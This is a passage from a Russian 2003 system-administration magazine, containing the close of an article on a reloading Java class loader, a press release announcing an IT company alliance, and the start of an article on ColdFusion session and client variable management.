и использование системы «true-static»-классов (или интерфейсов), известных и стационарной, и динамической частям. Например, можно обращаться (через приведение типа) к «true-static»-интерфейсам, которые реализуют «динамические» классы, получать результаты методов этих интерфейсов в виде «true-static»-классов, перехватывать «true-static»-исключения и т. д. Сформулированное правило вполне логично и «выдержано в духе» объектно-ориентированного программирования. «Динамические» классы для того и сделаны «динамическими», чтобы их можно было разрабатывать и компилировать уже после того, как стационарная часть программы скомпилирована и запущена. Поэтому стационарная часть и не должна ничего «знать» об этих классах кроме того, что они, возможно, реализуют какие-то заранее известные «true-static»-интерфейсы или, скажем, как-то работают со static-полями заранее известных «truestatic»-классов. В первом нашем тесте, вызвавшем ошибку приведения типа, мы нарушили это правило. При приведении типа мы непосредственно сослались из стационарной части программы на имя «динамического» класса TestModule. В правильном решении, которое мы привели позже, мы преобразовывали полученный объект неизвестного нам «динамического» типа к типу «true-static»-класса TrueStaticModule – предка «динамического» класса. Заметим, сформулированное правило не является категорическим. Его вполне можно нарушать, т.е. прямо ссылаться из стационарной части на «динамические» классы. Просто следует помнить, что классы, которые будут при этом задействованы, и классы с теми же именами, к которым будет обращаться динамическая часть программы, – это совершенно разные классы, лежащие в разных пространствах имен. Например, и стационарная, и динамическая части программы могут активно пользоваться некоторыми сервисными библиотеками, и эти библиотеки нет никакой необходимости делать «true-static». Они вполне могут быть «динамическими». Если мы изменим реализацию некоторого метода в таком классе-библиотеке и перекомпилируем этот класс, то стационарная часть этого «не заметит» и будет продолжать работать со своей старой версией библиотеки, а динамическая часть, после очередного пересоздания экземпляра загрузчика, воспользуется новой версией. Из общего правила A можно выделить несколько более простых частных правил. ПРАВИЛО A1. Не следует ссылаться из стационарной части программы (в частности, «true-static»-класса) на какие-либо поля, конструкторы или методы «динамического» класса. Точнее, следует иметь в виду, что такая ссылка означает обращение к версии «динамического» класса, загруженной системным загрузчиком по умолча-

№1(2), январь 2003

нию, а никак не к версии, загруженной нашим загрузчиком DynamicClassOverloader. ПРАВИЛО A2. Все аргументы и результат любого метода в «true-static»-классе, используемого для связи между стационарной и динамической частями программы, например, метода «true-static»-интерфейса, который реализуют конкретные «динамические» классы, – должны иметь либо примитивный тип, либо тип «true-static»-класс. То же самое относится к public-полям, используемым с аналогичными целями. (К «true-static»-классам мы относим также все стандартные системные классы, вроде java.lang.String или java.io.File, которые наш загрузчик не пытается грузить самостоятельно.) ПРАВИЛО A3. Если «динамические» классы возбуждают какие-либо исключения, которые, возможно, потребуется перехватить оператором catch (Тип_исключения e)

в стационарной части программы, то перехватываемый класс Тип_исключения должен быть «true-static». Следующее общее правило: ПРАВИЛО B. Нужно учитывать, что каждый экземпляр загрузчика порождает независимое пространство имен. Любая ссылка на «динамический» класс: на его конструкторы, методы, статические или обычные поля действует только в пределах текущего пространства имен и не относится к версиям того же класса, загруженным другими экземплярами загрузчика. Вот частные следствия из этого правила: ПРАВИЛО B1. Не следует думать, что статические поля «динамического» класса существуют в системе в единственном экземпляре. В каждом пространстве имен существует отдельная версия класса со своим набором статических полей. Например, есть такая практика управления поведением Java-класса. Объявляется статическое public-поле, скажем, public static boolean debugMode= false;

влияющее на работу некоторых методов класса. Обычно используется значение этого поля по умолчанию. Но при желании главный класс Java-приложения на этапе общей инициализации системы и загрузки конфигурационных файлов может записать в это поле другое значение. С «динамическими» классами такой прием «не проходит». Главный класс в стационарной части может повлиять на значение static-поля только для одной версии «динамического» класса, загруженной системным загрузчиком. Все последующие версии, загруженные экземплярами DynamicClassOverloader, получат умолчательное, заново инициализированное значение этого static-поля. Если «динамический» класс действительно нуждается в наборе истинно глобальных полей, разделяемых всеми своими версиями, то самое естественное решение – определить внутри этого класса локальный «true-static»класс. Например: public class Мой_динамический_класс {

73


программирование

}

public static class TrueStaticSection { public static boolean debugMode= false; другие глобальные переменные } ...

ПРАВИЛО B2. Если «динамический» класс нуждается в доступе к некоторым полям, методам, конструкторам или локальным классам некоторого «true-static»-класса, то все эти члены «true-static»-класса обязаны быть public, даже если «динамический» и «true-static»-класс лежат в одном пакете или внутри одного java-файла. Исключение: если «динамический» класс наследует «true-static», то он, как обычно, имеет доступ к protected-членам «true-static»класса. Например, если в «динамический» класс вложен локальный «true-static»-класс, то «динамический» класс, вопреки обычной практике, не может пользоваться privateполями или полями с дружественным доступом вложенного класса. Дело в том, что с точки зрения виртуальной машины Java-классы, загруженные разными загрузчиками и поэтому лежащие в разных пространствах имен, всегда имеют друг с другом столь же слабую связь, как и классы, лежащие в разных пакетах. «Дружественный» доступ или доступ к private-членам вложенного класса между разными пространствами имен «не работает». Будьте внимательны: подобная ошибка (разумеется) не отслеживается компилятором Java и обнаруживается в виде системного исключения уже при выполнении программы. Есть еще одно специфическое правило, не вытекающее из описанных выше общих принципов. ПРАВИЛО C. Если некоторые методы класса являются native – эти методы реализованы в отдельном машинно-зависимом модуле, загружаемом методом System.loadLibrary в секции статической инициализации класса, то такой класс обязан быть «true-static». Это – внутреннее свойство современной версии Javaмашины, по крайней мере, для платформы Windows. Javaмашина не допускает повторной загрузки внешнего модуля вызовом loadLibrary с тем же самым именем – такая попытка вызывает исключение. Для «динамических» классов инициализация происходит многократно в каждой версии класса. Если в «динамическом» классе попытаться в соответствии с документацией обратиться к System.loadLibrary в секции статической инициализации: static { System.loadLibrary("Имя_внешнего_модуля"); }

то уже вторая загрузка такого класса нашим загрузчиком возбудит внутреннее исключение с сообщением: «данный внешний модуль уже загружен другим загрузчиком классов». Не обесценивают ли описанные сложности нового удобства – возможности «на лету» перекомпилировать и перезагружать классы? Я считаю, что нет – при условии грамотного проектирования системы в целом. На самом деле, описанные выше правила касаются только разра-

74

ботки сравнительно небольшого блока: стандартизованного интерфейса между стационарной и динамической частью. При разработке остальных блоков стационарной части, не работающих с «динамическими» классами, все описанные нюансы несущественны: стационарная часть загружается системным загрузчиком по обычным правилам. При разработке динамических частей программы, расширяющих ее функциональность, возможно, сторонними разработчиками, все эти правила, за исключением очень простого правила C, обычно также можно спокойно игнорировать. Все правила, за исключением C, относятся к доступу к «динамическим» классам из стационарной части и к работе с различными пространствами имен, но никак не затрагивают разработку системы «динамических» классов в пределах одного пространства имен. Поэтому все новые классы, разрабатываемые для расширения динамической части программы при уже выработанном протоколе общения со стационарной частью, почти всегда можно объявлять «динамическими» и спокойно разрабатывать по обычным правилам языка Java.

Странности кэширования: различие loadClass и forName Здесь мне хотелось бы ненадолго вернуться назад к нашей реализации DynamicClassOverloader. В приведенной выше реализации есть две закомментированные строки с вызовом System.out.println, позволяющим увидеть момент загрузки класса и извлечение его из кэша. Если их раскомментировать, можно увидеть удивительную вещь. Когда я воспользовался таким загрузчиком для исполнения большого проекта на Java, включающим тысячи различных классов и реализующим интенсивные вычисления, я обнаружил, что проверка наличия класса в кэше Class result= (Class)classesHash.get(name); if (result!=null) { ...

не срабатывает никогда! Я пробовал повторно обращаться к загруженным классам всеми возможными способами: прямым обращением к классу, через Class.forName с различными наборами параметров, путем наследования, перехвата исключений и т. д. Во всех случаях, кроме прямого обращения к методу нашего загрузчика loadClass, до исполнения наших методов loadClass и findClass дело просто не доходило. Очевидно, Java-машина реализует дополнительное кэширование загруженных классов. Пока мы явно не подаем указание использовать другой экземпляр загрузчика с помощью соответствующего аргумента метода Class.forName. Все классы, уже загруженные один раз нашим загрузчиком, автоматически извлекаются из какого-то внутреннего кэша. Фактически наше кэширование, реализованное в DynamicClassOverloader, оказалось ненужным – классы и так прекрасно кэшируются. Я не знаю, насколько можно полагаться на эту особенность Java-машины. Документация к классу ClassLoader рекомендует использовать вызов protected-метода findLoadedClass для выяснения, был ли уже загружен дан-


программирование ный класс. Но в моих тестах мне не удавалось этим воспользоваться – этот метод всегда возвращал null. Я все же считаю реализацию собственного кэша «на всякий случай» целесообразным, тем более что это требует всего нескольких строк кода. Кроме того, собственный кэш необходим, если при использовании нашего загрузчика классов предполагается пользоваться вместо классического вызова Class.forName("Имя_класса",true,loader)

альтернативным вариантом loader.loadClass("Имя_класса")

Здесь метод loadClass вызывается напрямую – и здесь уже никто кроме нас не позаботится о кэшировании однажды загруженных классов. (В отличие от этого вызов Class.forName всегда обращается к внутреннему кэшу, и, если для данного загрузчика loader класс name уже однажды загружался, он будет найден и возвращен в результате forName без обращения к loadClass и findClass.) Хуже того, если мы не будем реализовывать кэширование в загрузчике, т.е. будем в любом случае читать класс с диска и вызывать для него метод defineClass. В этом случае два последовательных вызова loader.loadClass("Имя_класса") loader.loadClass("Имя_класса")

для одинакового класса приведут к низкоуровневому исключению LinkageError! Виртуальная машина не разрешает в рамках одного и того же экземпляра загрузчика дважды определять один и тот же класс, т.е. обращаться к методу defineClass. С вызовом Class.forName("Имя_класса",true,loader)

такую проблему пронаблюдать не удастся, даже если мы не будем реализовывать кэш. Описанное поведение, как мне кажется, является веским аргументом, чтобы по возможности никогда, за исключением тестов, не использовать прямой вызов loader.loadClass("Имя_класса")

отдавая предпочтение вызову Class.forName("Имя_класса",true,loader)

или Class.forName("Имя_класса",false,loader)

У внимательного читателя при изучении нашего загрузчика DynamicClassOverloader мог возникнуть вопрос. Если наша цель – научить загрузчик «забывать» старые версии классов, почему мы попросту не реализовали в классе DynamicClassOverloader метод invalidate: public void invalidate() { classesHash.clear(); }

очищающий наш кэш classesHash? Почему вместо этого

№1(2), январь 2003

мы пошли по более сложному пути: созданию новых экземпляров загрузчика? Теперь мы можем ответить на этот вопрос. При использовании вызова Class.forName("Имя_класса",true,loader)

метод invalidate, очищающий classesHash, просто не дал бы никакого эффекта. Виртуальная машина все равно извлекала бы класс из внутреннего кэша, пока мы не сменили бы экземпляр loader используемого загрузчика. А при использовании прямого вызова loader.loadClass("Имя_класса")

метод invalidate, вместо ожидаемого «забывания» старых классов, привел бы к низкоуровневому исключению LinkageError.

Применения DynamicClassOverloader Приведем несколько примеров ситуаций, где можно применить созданный нами загрузчик DynamicClassOverloader помимо решения поставленной нами главной задачи – загрузки измененных версий классов «на лету» без остановки основной программы. Прежде всего напрашивается простейшее применение: профайлинг загрузки классов. С помощью параметра «-verbose:class» стандартной утилиты «java» можно проследить, какие классы загружаются в процессе работы. Но собственный загрузчик может сделать намного больше. Очень легко дополнить приведенный выше исходный код DynamicClassOverloader сбором любой статистики о загружаемых файлах: сколько классов различных пакетов загружается, сколько времени расходуется на загрузку классов, какие классы загружаются обычно в первую очередь и т. д. DynamicClassOverloader можно использовать для загрузки классов из нестандартного каталога, не указанного в переменной CLASSPATH. Это требуется не так уж часто, но в некоторых ситуациях без этого сложно обойтись. Например, предположим, что вы пишете систему обработки документов, к которым могут прилагаться специальные Java-классы: как апплеты в Web-страницах или скрипты в документах Microsoft Word. Пользователь может работать с любым числом таких документов, расположенных где угодно в пределах своей файловой системы. Очевидно, для загрузки и исполнения таких классов, сопутствующих документу, стандартный набор путей из CLASSPATH окажется недостаточным. Наконец, отдельные пространства имен, порождаемые экземплярами нашего загрузчика, из неудобного недостатка могут превратиться в ключевое достоинство. Обычно разработчики Java-классов избегают конфликтов имен своих классов благодаря стандартной системе именования пакетов, когда в имя пакета включается серия вложенных доменов Internet, соответствующих уникальному Web-сайту разработчика. Но если Java применяется в упрощенном виде – скажем, для реализации небольших скриптов конечными пользователями продукта – такая

75


программирование схема именования может оказаться чересчур обременительной. (Те же апплеты редко размещают в пакете. Часто пакет вообще не указывается, т.е. используется корневой package.) Наш загрузчик позволяет надежно изолировать друг от друга подобные простые классы, не нуждающиеся во взаимодействии друг с другом и разработанные, возможно, разными разработчиками. Если два класса загружены разными экземплярами DynamicClassOverloader, они могут спокойно иметь идентичное имя. Они «живут» в разных пространствах имен и не могут ничего «знать» друг о друге.

Заключение Реализовав собственный загрузчик классов, мы действительно всерьез познакомились с миром отражений Java и много узнали о «внутренней кухне» виртуальной Java-машины. Конечно, это далеко не все. Я не пытался написать исчерпывающее руководство. Я постарался предложить краткую экскурсию, позволяю-

щую познакомиться с основными понятиями, технологиями и проблемами мира отражений Java и, я надеюсь, позволяющую почувствовать изящество и мощь этого чудесного языка. С помощью всего лишь около сотни строк исходного текста Java мы создали инструмент, позволивший существенно «подправить» поведение Java-машины и изменивший свойства самого языка Java. В следующих номерах журнала я расскажу, как внутри вашей программы компилировать исходный Java-код в .class-файлы. Вместе с собственным загрузчиком классов, описанным в этой статье, это сможет послужить основой для создания систем, позволяющих конечному пользователю программировать на Java вплоть до создания настоящих систем Java-разработки. 1

Это утверждение не совсем точное. На самом деле, вначале загружается целый ряд системных классов, в частности, системный загрузчик и все используемые ими классы. Процесс загрузки классов легко просле-

,7 $OOLDQFH Создание альянса независимых IT-компаний 21 ноября 2002 года три известные в своих областях IT рынка российские компании: InPrice, Zero Studio и Positive Technologies официально объявили о начале формирования стратегического альянса, основной целью которого является эффективное и скоординированное продвижение комплексных решений на основе продуктов компаний-участников на рынок корпоративных потребителей. В настоящий момент выбрано имя будущего совместного предприятия – IT Alliance. Данное название представляется наиболее логичным и отражающим суть взаимодействия между участниками новой формации. Настоящий альянс будет носить конфедеративный характер, являясь объединением независимых компаний, ранее являвшихся постоянными бизнес-партнёрами, связанными в ходе осуществления ряда совместных проектов. Успешный опыт проведения таких совместных проектов выявил необходимость более тесного и скоординированного сотрудничества между компаниями. Компании-участники полагают, что на рынке наиболее востребованными являются сбалансированные комплексные решения, предлагаемые корпоративным клиентам как единое целое. «Именно сбалансированные, всесторонне взвешенные решения от профессионалов позволят предложить каждому клиенту именно то, что ему необходимо», – заявляют участники альянса. Одним из главных объединяющих факторов формирующегося альянса является отсутствие конкурентных пересечений компаний в их областях деятельности и возможность кросс-привлечения клиентов. Каждый из участников является опытным профессионалом в своей области и будет отвечать за свой участок работ в общем проекте, исполняемом IT Alliance. Так, например, в случае поступления заказа от корпоративного клиента на комплексную автоматизацию предприятия, каждый участник альянса будет отвечать строго за свою область, не пересекаясь с другими: Группа компаний InPrice осуществит сборку компьютеров и поставку необходимого оборудования, Zero Studio сделает полноценное webрешение, его интеграционное подразделение построит локальную сеть предприятия, а компания Positive Technologies осуществит реализацию проекта по защите сети и web-ресурсов компании от несанкционированного доступа. Большой позитивный опыт и накопленный профессионализм каждого из участников альянса, сформировавшиеся торговые марки, заслужившие доверие, послужат залогом успешного продвижения услуг предоставляемых IT Alliance и позволит привлечь новых корпоративных клиентов. Успешное развитие каждой компании – залог дальнейшего плодотворного развития новой структуры, а объединение клиентских баз в единую базу позволит существенно расширить присутствие компаний на рынке корпоративных решений. Подробности о новом альянсе и его совместных проектах будут объявлены на специальной пресс-конференции, которая будет проведена в первом квартале 2003 года.

76


программирование дить, запустив утилиту «java» с ключом «-verbose:class». 2 Что касается проверки интерфейса – это традиционное решение, но в данной ситуации реализовать его труднее чем обычно. Не так просто, построив класс – объект Class – вызовом result= defineClass(name,classBytes,0,classBytes.length)

выяснить, не является ли он наследником данного интерфейса, скажем, TrueStatic. Простая проверка вроде TrueStatic.class.isAssignableFrom(result)

не сработает – ведь интерфейс TrueStatic и класс result, скорее всего, загружены разными загрузчиками и лежат в разных пространствах имен. Одно из допустимых решений – получить список интерфейсов, реализуемых result, вызовом «result.getInterfaces()» и затем проверить их имена.

Компании – участники IT Alliance: Zero Studio – компания «Интернет Студия ЗЕРО» специализируется в области создания и поддержки интернет-проектов высокого уровня сложности. С 1998 года и по настоящее время студия выполнила более 100 работ в области дизайна, программирования, создания интерактивных презентаций, изготовления рекламных материалов и т. д. Zero Studio сегодня – это дизайн, собственные технологии создания и поддержки интернет-проектов и интерактивных систем любой сложности, собственная хостинговая площадка в Data Центре компании Cable&Wireless, системная интеграция и комплексная поддержка компьютерных систем клиентов. Группа компаний InPrice Компания InPrice – многопрофильный профессиональный реселлер компьютерных комплектующих, периферии и телекоммуникационного оборудования, работающий на российском рынке с 1996г. Компания InPrice является эксклюзивным дистрибьютором мобильных накопителей данных ZIV, генеральным дистрибьютором компании Minds@Work на территории России и стран СНГ, бизнес-партнёром компании IOI Technology Corporation Taiwan, авторизованным партнёром Compaq, АPC, крупнейшим в Восточной Европе OEM партнёром компании Fujitsu, производственным партёром компании USBnet, Inc. Бизнес кредо компании InPrice – находить, развивать и системно выводить на рынок новые, не имеющие аналогов продукты и решения. Компания IDS (InPrice Data Systems) – научно-производственная компания, участник группы компаний InPrice. Основным направлением деятельности компании являются сборка и обслуживание компьютеров и внешних мобильных накопителей данных, консалтинговые услуги для корпоративных клиентов, а также разработка комплексных решений в области электроники и компьютерной техники. Ранее компания IDS существовала как производственное подразделение компании InPrice и была известна по одноимённой торговой марке компьютерной техники. В августе 2002 года данное производственное подразделение было выделено в самостоятельное юридическое лицо. Компания IDS нацелена на расширение производства электроники и компьютерной техники в России и внедрение новых разработок в области цифровых систем хранения данных.

Positive Technologies – компания информационной безопасности, специализирующаяся на защите сетей от взломов (т.н. хакерских атак). Компания Positive Technologies является разработчиком знаменитого сканера сетевой безопасности XSpider, признанного одним из лучших продуктов в своем классе. Специалисты компании обладают большим опытом в выполнении проектов по защите компьютерных сетей разного уровня сложности – от небольших компаний до банков и международных платежных систем. 3RVLWLYH 7 H F K Q R O R J L H V

Задача альянса – создание целенаправленной скоординированной программы продвижения объединенной торговой марки предоставления комплексных услуг и завершенных решений для корпоративных клиентов в сфере IT, являющейся эффективным дополнением самостоятельного продвижения каждой компании.

№1(2), январь 2003

77


программирование

УПРАВЛЕНИЕ СЕССИЯМИ В COLDFUSION, ИЛИ ЗДРАВСТВУЙТЕ, Я – ВАША ТЕТЯ АЛЕКСАНДР МЕЖЕНКОВ Рассмотрим ситуацию. Покупатель в интернет-магазине заполнил регистрационную форму, побродил по страничкам с выложенным товаром, отложил кое-что в корзинку, потом прикинул сколько еще жить до получки, посидел в задумчивости перед экраном минут двадцать и с сожалением решил выложить из корзинки совершенно ненужные ему сейчас галоши. Возникает вопрос, а как web-сервер распознает его при каждом новом обращении. И вообще, как web-сервер различает каждого из сотен посетителей, обращающихся к различным страницам сайта? Одному нужно одно, другому – другое. И о каждом нужно помнить, чтобы после очередного обращения не

78

спрашивать его удивленно: «А ты кто?» и заставлять его заново заполнять регистрационную форму. Ответ на первый взгляд может показаться странным: никак! Давайте попробуем разобраться. Здесь мы предполагаем, что с момента прочтения нашей первой статьи («ColdFusion, или Возможно, лучшее решение для создания динамических сайтов», журнал «Системный администратор» №1, октябрь 2002г.) вы успели установить ColdFusion и уже хотя бы немного ориентируетесь в его среде. Создадим два шаблона ColdFusion. В одном из них (назовем его setMyName.cfm) определяется переменная: myName, после чего немед-

ленно вызывается другой шаблон sayHi.cfm: <cfset myName="Alexander Mejenkov"> <cflocation url="sayHi.cfm">

Тег <cflocation> и осуществляет обращение к новому шаблону sayHi.cfm, в котором мы предполагаем использовать значение созданной на предыдущей странице переменной. Поместим в файл sayHi.cfm код: <cfoutput> Well, hello there, #myName# </cfoutput>

Теперь самое время запустить setMyName.cfm. Как только мы сделаем это, то немедленно получим сооб-


программирование щение об ошибке: «Error resolving parameter MYNAME». Похоже, что ни web-сервер, ни ColdFusion и в самом деле нисколько не позаботились о том, чтобы сохранить информацию о нашем визите! Проблема заключается в том, что броузер общается с web-сервером, а следовательно и с ColdFusion, при посредстве HTTP-протокола. А суть и основное назначение этого протокола заключается в том, чтобы как можно скорее обслужить запрос клиента, выдать ему запрашиваемую страницу и, завершив с ним сеанс обмена, быть готовым обслуживать следующего клиента. Это означает, что webсервер, обеспечивающий работу HTTP-протокола, после того как обслужит полученный запрос и отправит ответ клиенту, совершенно забывает о проведенной транзакции. HTTP не сохраняет открытым соединение с клиентом и поэтому не может знать и помнить, чем занимался один и тот же клиент между его последовательными вызовами. Именно поэтому ColdFusion-сервер, который установил переменную myName на одной странице, не может помнить о ее существовании на другой странице. Каждое следующее обращение, пусть даже одного и того же клиента HTTP, а следовательно и ColdFusion, рассматривают как абсолютно нового клиента.

Application framework Для решения проблемы сохранения данных между последовательными вызовами одного и того же клиента в ColdFusion введено понятие application framework – структуры (каркаса) приложения, когда каждое приложение имеет свой собственный четко определенный каркас (структуру). Именно этот подход позволяет набору ColdFusion шаблонов (файлов) работать как единое приложение, используя общие переменные. Ключом этого подхода является файл специального шаблона который называется Application.cfm.

Управление Session- и Client-переменными Session-переменные доступны броу-

№1(2), январь 2003

зеру клиента для текущей сессии (сеанса связи) и для данного приложения. Session-переменные хранятся в памяти сервера и время их жизни ограничено установками сервера ColdFusion и вашего приложения. Причем если в приложении время жизни будет задано больше, чем на сервере, то будут действовать установки сервера. Session-переменные имеют тип структуры. Для доступа к ним необходимо использовать префикс Session. За счет того, что Session-переменные хранятся в памяти сервера, доступ к ним чрезвычайно быстр. Client-переменные подобны Session в том смысле, что они уникальны для данного пользователя, однако они доступны для броузера клиента в различных сессиях данного приложения. Другим отличием является место хранения. Client-переменные могут храниться в cookies на клиентской машине (естественно, что для этого на компьютере клиента должно быть разрешено использование cookies), а также в реестре Windowsсервера или в базе данных. Управление Client- и Session- переменными определяется установками, которые задаются в файле Application.cfm, который (если он есть) выполняется перед загрузкой каждой страницы. Обратите внимание на то, что этот файл должен называться именно так и начинаться с заглавной буквы «A». Это существенно для UNIX-систем. Файл может быть один для всего приложения и располагаться в корневом каталоге приложения, или их может быть несколько и располагаться они могут в подкаталогах, в которых находятся файлы, решающие конкретную задачу. Для управления как Session-, так и Client-переменными ColdFusion создает уникальную пару идентификационных переменных CFID и CFTOKEN. CFID – это последовательно увеличивающий свое значение счетчик, а CFTOKEN – содержит уникальное случайное число. Типичные значения этих переменных CFID=3 CFTOKEN=54579676. Копии CFID и CFTOKEN сохраняются в памяти сервера в виде Session-переменных. Вторая копия этих переменных сохраня-

ется в виде cookies на клиентской машине. Когда пользователь осуществляет запрос к ColdFusion-приложению, значения CFID и CFTOKEN, как и все cookies, направляются на сервер. Далее сервер ColdFusion пытается сопоставить полученные значения с парой, хранящейся в своей памяти. Если они совпадают, пользователь и/или его сессия идентифицируются. В случае если вам известно, что на пользовательской машине использование cookies запрещено, вам придется несколько усложнить свое приложение, предусмотрев пересылку вручную этих переменных через URL- или FORM-переменные. Например, в теге <cflocation> для этого предусмотрен специальный атрибут ADDTOKEN = «Yes». Для задания установок управления Session- и/или Client-переменными используется тег <cfapplication>, включаемый в файл Application.cfm. Рассмотрим cинтаксис тега <cfapplication>: <cfapplication name = "application_name" clientManagement = "Yes" or "No" clientStorage = "datasource_name" or "Registry" or "Cookie" setClientCookies = "Yes" or "No" sessionManagement = "Yes" or "No" sessionTimeout = #CreateTimeSpan(days, hours, minutes, seconds)# applicationTimeout = #CreateTimeSpan(days, hours, minutes, seconds)# setDomainCookies = "Yes" or "No">

! name – имя вашего приложения; ! clientManagement – необязатель-

!

!

ный параметр. Разрешает использование Client-переменных. Значение по умолчанию – «No»; clientStorage – необязательный параметр. Определяет место хранения Client-переменных. По умолчанию – реестр; setClientCookies – необязательный параметр. Значение «Yes» разрешает использование cookies на клиентской машине. Значение по умолчанию – «Yes». Если этот атрибу т ус тановлен в «No», ColdFusion автоматически не пытается сохранить CFID и CFTOKEN в виде cookies на клиентской машине. В этом случае вы должны вручную включить CFID и CFTOKEN в URL каждой страницы, на которой использу

79


программирование ются Session- или Client-переменные; ! sessionManagement – параметр необязателен. Значение «Yes» разрешает использование Sessionпеременных. Значение по умолчанию – «No»; ! sessionTimeout – необязательный параметр. Определяет время жизни Session-переменных в виде объекта date/time, возвращаемого функцией CreateTimeSpan(). Аргументы этой функции задаются в числовых величинах: дни, часы, минуты и секунды, разделенные запятыми. Значение по умолчанию определяется на странице Variables в ColdFusion Administrator; ! applicationTimeout – необязательный параметр. Определяет время жизни Application-переменных (в данной статье мы их не рассматриваем) в виде объекта date/time, возвращаемого функцией CreateTimeSpan(). Аргументы этой функции задаются в числовых величинах: дни, часы, минуты и секунды, разделенные запятыми. Значение по умолчанию определяется на странице Variables в ColdFusion Administrator; ! setDomainCookies – необязательный параметр. Устанавливает CFID и CFTOKEN cookies для всего домена, а не только для текущего хоста. Значение по умолчанию – «No». Этот атрибут следует устанавливать в «Yes» только для приложений, используемых в кластерах. Типичное применение тега <cfapplication> выглядит следующим образом: <cfapplication name="myBestApplication" ClientManagement="No" SessionManagement="Yes" SessionTimeout=#CreateTimeSpan(0,0,1,0)# SetClientCookies="Yes">

При использовании Session-переменных возникает проблема момента окончания сессии. Фактически сессия уже может закончиться, а cookies все еще будут жить на машине клиента. Например, в приведенном выше теге <cfapplication> время жизни cookies установлено 1 час. В этом случае любой человек с машины клиента в течение 1 часа, после того как

80

настоящий клиент покинул свое рабочее место, сможет продолжить сессию. Решение проблемы: <cfif IsDefined("Cookie.CFID") AND IsDefined("Cookie.CFTOKEN")> <cfset localCFID = Cookie.CFID> <cfset localCFTOKEN = Cookie.CFTOKEN> <cfcookie name = "CFID" value="#localCFID#"> <cfcookie name = "CFTOKEN" value="#localCFTOKEN#"> </cfif>

Как видно в приведенном выше коде CFID и CFTOKEN cookies, созданные сервером ColdFusion в процессе обработки файла Application.cfm, надо переписать (пересоздать), но без объявления времени жизни, точнее опустив атрибут EXPIRES. Благодаря странному поведению cookies (по крайней мере в MS IE) они создаются в памяти, даже когда пользователь запретил их использование на своей машине. При подобном переопределении (как в приведенном выше коде) cookies будут созданы лишь в памяти машины клиента, а не будут записаны на его жесткий диск. И тогда, как только приложение броузера будет закрыто, информация о cookies также будет удалена из памяти и, как следствие, сессия будет закончена с закрытием окна броузера.

Плюсы и минусы Session-переменных Благодаря тому что Session-переменные хранятся в памяти сервера, в качестве Session-переменных можно использовать не только простые типы данных, но и сложные типы, такие как массивы, структуры и запросы. Но эта же причина (хранение Session-переменных в памяти сервера) не позволяет их использовать в ситуации, когда несколько серверов работают в одном кластере. У Session-переменных есть и другой, более существенный недостаток. Он проистекает из того, как ColdFusion управляет этими переменными. Может случиться так, что ColdFusion спутает разные потоки для различных броузеров, и переменные, установленные для одного броузера будут использованы в другом потоке, где обрабатываются запросы от второго броузера. Эта проблема возни-

кает не только для Session-переменных, но для всех переменных application- и server- области определения. Allaire называет эти переменные «shared scope» (переменные разделяемой области видимости). Почему это происходит? В процессе работы ColdFusion сервер способен обрабатывать одновременно несколько запросов, выполняя каждый из них в отдельной области памяти. Приложения, которые могут выполнять одновременно несколько запросов, называются многопоточными («multi-threaded applications») приложениями. То есть поток – это отдельная область памяти. Проблема повреждения данных возникает, когда в многопоточном приложении возникает попытка одновременного доступа к «shared scope»переменным. Решение проблемы заключается в ограничении доступа к переменным так, чтобы, пока ColdFusion-сервер обрабатывает «shared scope»-переменную, ни один другой процесс не мог бы к ней обратиться. Подобный запрет временно превращает ColdFusion-сервер в однопоточное приложение. То есть проблема заключается не столько в самом ColdFusion, сколько в небрежности программиста, не предусмотревшего возможности одновременного обращения разных клиентов к одним и тем же данным. Ограничение доступа к переменным достигается использованием тега <cflock>. Этот тег имеет несколько атрибутов: ! name – в основном используется для обратной совместимости версий или для специальных случаев, которые для данного случая не имеют значения; ! scope – определяет одну из разделяемых областей видимости (shared scopes): session, application или server; ! timeout – время, в течение которого программа должна пытаться получить подтверждение блокировки (время ожидания может возникнуть в случае, если другой <cflock> уже успешно заблокировал сервер); ! throwontimeout – логическое значение (Yes/No), определяет, нужно ли генерировать событие ошибки при невозможности получить блоки-


программирование

!

ровку по истечении времени timeout. При использовании этого параметра вы наверняка захотите поместить свой <cflock>-код в блок <cftry><cfcatch>; type – «readonly» или «exclusive». Блокировка типа Readonly на самом деле не совсем блокировка. Ее лучше сравнить со своего рода телохранителем: если какой-нибудь другой процесс попытается получить блокировку, этот тип блокировки воспрепятствует или, лучше сказать, не допустит этого. Блокировка Readonly используется, когда нет нужды изменять значение переменных из shared scope области видимости. Блокировка Readonly существенно улучшает быстродействие по сравнению с Exclusive-блокировкой. Блокировку Exclusive следует использовать во всех случаях, когда требуется создать, изменить или удалить «shared scope»-переменные.

Client-переменные Client-переменные – это другой подход к созданию постоянных глобальных переменных. Но если, как уже отмечалось, Session-переменные хранятся в памяти сервера, то Сlients-переменные хранятся на физическом носителе: либо в реестре машины, где установлен сервер ColdFusion, либо в указанном ODBC источнике данных, либо в виде cookies на клиентской машине. Client-переменные, так же как и Session-переменные, используют одинаковую систему идентификации пользователя с помощью CFID и CFTOKEN, однако Client имеют некоторые преимущества. Поскольку для хранения Client-переменных можно указать центральную базу данных, здесь не возникает проблемы доступа к ним в многосерверном окружении. Все серверы в кластере могут использовать эту базу данных. Для использования этой центральной базы данных надо просто сконфигурировать ODBC источник данных, указав на любую пустую базу данных (естественно, предварительно ее создав), для которой у ColdFusion есть native (родной) ODBC драйвер (например Access), а затем в ColdFusion-администраторе указать (пометив check

№1(2), январь 2003

box) на использование этого источника данных для хранения Client-переменных.

Проблемы с Clientпеременными и их решение Казалось бы: если Client-переменные лишены всех недостатков Session-переменных, то почему бы их не использовать всегда и вообще не отказаться от Session-переменных. Дело в том, что у Client-переменных есть свои недостатки и перед тем, как отказываться от Session-переменных, необходимо устранить их. Первый недостаток: поскольку Client-переменные хранятся на физическом носителе, то невозможно «в лоб» использовать сложные типы данных (такие как массивы, структуры и запросы). Эта проблема решается с помощью WDDX-технологии. (WDDXтехнология – тема одной из следующих статей). Другая проблема связана со временем жизни. Если у Session-переменных время жизни можно задать с точностью до секунды, используя функцию CreateTimeSpan (days, hours, minutes, seconds), то Client-переменные в этом смысле гораздо грубее. Единственная возможность для ограничения их времени жизни – это задать в ColdFusion-администраторе число дней, по истечении которых со дня последнего визита пользователя, относящиеся к нему переменные будут удалены («purge data for clients that remain unvisited for n days»). Поскольку Client-переменные, так же как и Session-переменные, используют пару cookies CFID и CFTOKEN, то использовав тот же прием по переписыванию этих cookies без указания параметра EXPIRED, можно ограничить время использования Clientпеременных текущим сеансом. То есть как только окно броузера будет закрыто, эти cookies будут стерты и при следующем обращении клиент не будет идентифицирован. Но все равно для ограничения их времени 